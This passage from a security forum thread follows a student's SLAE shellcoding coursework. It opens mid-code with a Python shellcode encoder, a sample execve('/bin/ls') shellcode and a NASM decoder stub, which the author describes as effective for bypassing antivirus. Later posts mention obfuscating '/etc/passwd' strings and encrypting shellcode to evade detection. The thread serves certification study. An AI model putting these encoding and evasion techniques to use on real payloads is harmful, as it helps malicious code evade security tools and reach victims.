    if (counter % 4 == 0): # we have read 4 bytes
    py_shellcode += bswap_to_py(EAX) # append bswapped value to encoded_shellcode
    asm_shellcode += bswap_to_asm(EAX) # append bswapped value to encoded_shellcode
    EAX = ""; counter = 0; # reset EAX and counter to process next 4 bytes
    print py_shellcode
    print asm_shellcode[:-1]
    # ========================================================

    $ python encoder2.py
    \x90\x90\x90\x80\xcd\x0b\xb0\xe1\x89\x53\xe2\x89\x50\xe3\x89\x6e\x69\x62\x2f\x68\x73\x6c\x2f\x2f\x68\x50\xc0\x31
    0x90,0x90,0x90,0x80,0xcd,0x0b,0xb0,0xe1,0x89,0x53,0xe2,0x89,0x50,0xe3,0x89,0x6e,0x69,0x62,0x2f,0x68,0x73,0x6c,0x2f,0x2f,0x68,0x50,0xc0,0x31

    Our encoder2 works and we now have our encoded shell. Effectively we've reversed our whole shellcode and our encoder could be simplified even more.

    Our new encoder (encoder3.py):
    # ========================================================
    #!/usr/bin/env python
    #
    # we import sys for the len() function
    import sys

    # execve('/bin/ls') - shellcode size is 25 bytes
    shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89"
    "\xe1\xb0\x0b\xcd\x80")

    # pad shellcode with a NOP which will be used by our decoder
    shellcode += "\x90"
    # pad additional NOPS until shellcode is divisible by 4
    while (len(shellcode) % 4 != 0): shellcode += "\x90"

    # Split shellcode into chunks of 4 bytes, reverse them, and join them into a new string
    shellcode_reversed = "".join([shellcode[i:i+1] for i in range(0, len(shellcode), 1)][::-1])

    # initialize variables used by our encoder sequence
    py_shellcode = ""; asm_shellcode = "";

    # encode the shellcode with a bswap of every 4 bytes
    for x in bytearray(shellcode_reversed): # iterate over each byte in shellcode
    py_shellcode += '\\x' '%02x' %x # append byte value to encoded_shellcode
    asm_shellcode += '0x' '%02x' ',' %x # append byte value to encoded_shellcode
    print py_shellcode
    print asm_shellcode[:-1]
    # ========================================================

    We can now simplify the assembly decoder:
    ; ==================================================================
    ; filename decoder2.nasm
    ;
    global _start
    section .text
    _start:
    jmp short CALL ; JMP - CALL - POP technique to retrieve location of encoded shell
    POP:
    pop esi ; ESI = Location of shellcode
    DECODESHELL:
    lodsd ; store dword pointed by ESI (shellcode) in EAX register
    bswap eax ; The bswap magic takes place here in the EAX register
    push eax ; store the bswapped reversed_shellcode on the stack
    cmp al, 0x31 ; If AL (now also the top byte on stack) is 0x31 then this is the start of our shellcode
    jne DECODESHELL ; keep decoding until AL is 0x31
    jmp esp ; jump to stack = our shell
    CALL:
    call POP
    shellcode: db 0x90,0x90,0x90,0x80,0xcd,0x0b,0xb0,0xe1,0x89,0x53,0xe2,0x89,0x50,0xe3,0x89,0x6e,0x69,0x62,0x2f,0x68,0x73,0x6c,0x2f,0x2f,0x68,0x50,0xc0,0x31
    ; ==================================================================

    The size of our finished assembly shellcode decoder is 10 bytes.
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
    Assignment 4 done! The encoder I came up with morphed a little from the initial idea of having a BSWAP encoder, to creating a very small decoder in assembly. The reduction in decoder size has resulted in a change of the encoding scheme, which resulted in a simple reversing of the byte order of the full shellcode. It's a surprisingly effective method to bypass AV for very little additional shellcode size. The shellcode is pushed onto the stack and executed in the stack.
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
    I've now created both a Blog and a GitHub account as per requirements:
    Blog: https://slae747.wordpress.com/
    GitHub: https://github.com/JollyFrogs/SLAE-32

    I will keep updating this thread as I complete exercises, but will instead of posting the exercises here link to the blog post. This is because the source codes are mangles when I try and upload them here.
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
  • eth0eth0 Member Posts: 86 ■■□□□□□□□□
    JollyFrogs, first of all thanks for all informations there but I have one basic question - if I have no any other experience in asm/debuggers/re/expl dev (on that level) other that from OSCP (I done that exam expl without problems in 20minutes with screenshots and nice code because of some practice when prepared to that task with some simillar expl dev on old vulnerable FTP servers) will be this course understandable for me then? :)

    Also this is Linux course and OSCE is about Windows, but I think that this will be very simillar on that basics, true?
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
    eth0 wrote: »
    JollyFrogs, first of all thanks for all informations there but I have one basic question - if I have no any other experience in asm/debuggers/re/expl dev (on that level) other that from OSCP (I done that exam expl without problems in 20minutes with screenshots and nice code because of some practice when prepared to that task with some simillar expl dev on old vulnerable FTP servers) will be this course understandable for me then? :)

    Also this is Linux course and OSCE is about Windows, but I think that this will be very simillar on that basics, true?

    Hi eth0. The course is meant to cater for those without experience in Assembly. It will be helpful to know the basics of Linux, but the Assembly is explained in detail throughout the course, including on how to use a debugger.

    Assembly is agnostic on whatever runs on it. The syscalls might be different in Linux than they are in Windows but the overall instruction set will be the same - they are both x86. So I advise starting with Linux first, then Windows, then 64-bit if you want to do the full course: I might do all of them myself; although I must admit OSCE is calling :)
  • eth0eth0 Member Posts: 86 ■■□□□□□□□□
    thanks, i have pretty good linux knowledge, so good because my low level skils sucks, OSCP exploit is very entry level and I dont have any other real exprience

    btw: x86/64 Assembly and Shellcoding on Linux « SecurityTube Training
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
    Assignment #6 complete! https://slae747.wordpress.com/2016/06/12/slae-32-assignment-6/
    This assignment was quite time consuming but I learned lots. I was able to reduce the size of all 4 shellcodes, in some cases substantially, and was able to add small obfuscation routines to hide strings like "//et" "c/pa" "sswd" which get easily detected by IDS/IPS/VirusScanners.
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
    Assignment #7 complete: https://slae747.wordpress.com/2016/06/18/slae-32-assignment-7/
    In this exercise, I created a python script that encrypts shellcode using TEA (Tiny Encryption Algorithm). While TEA has been broken, it was an interesting exercise in block encryption. Also, I learnt lots of Python tricks. The encryption and decryption modules are in separate python scripts, and the encrypted shellcode is executed directly from Python.

    I really enjoyed this course: Vivek is a good teacher and I have learnt tons. This is good preparation towards OSCE.

    So, what's next? Well - I've already signed up for the SecurityTube Windows Forensics course which is due to come out soon. I'm also going to do fuzzing and exploit writing in my home Virtualbox and I plan to do lots of reading in preparation of OSCE. I'll be keeping a thread on OSCE on this forum once I start; I expect to start OSCE sometime in September.
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
    It's official!

    "Congratulations! You have successfully completed all the requirements for the SLAE course and have passed the certification exam."
  • mokazmokaz Member Posts: 172
  • TheFORCETheFORCE Senior Member Member Posts: 2,298 ■■■■■■■■□□
    JollyFrogs wrote: »
    It's official!

    "Congratulations! You have successfully completed all the requirements for the SLAE course and have passed the certification exam."
    Congrats man! Well done!
Sign In or Register to comment.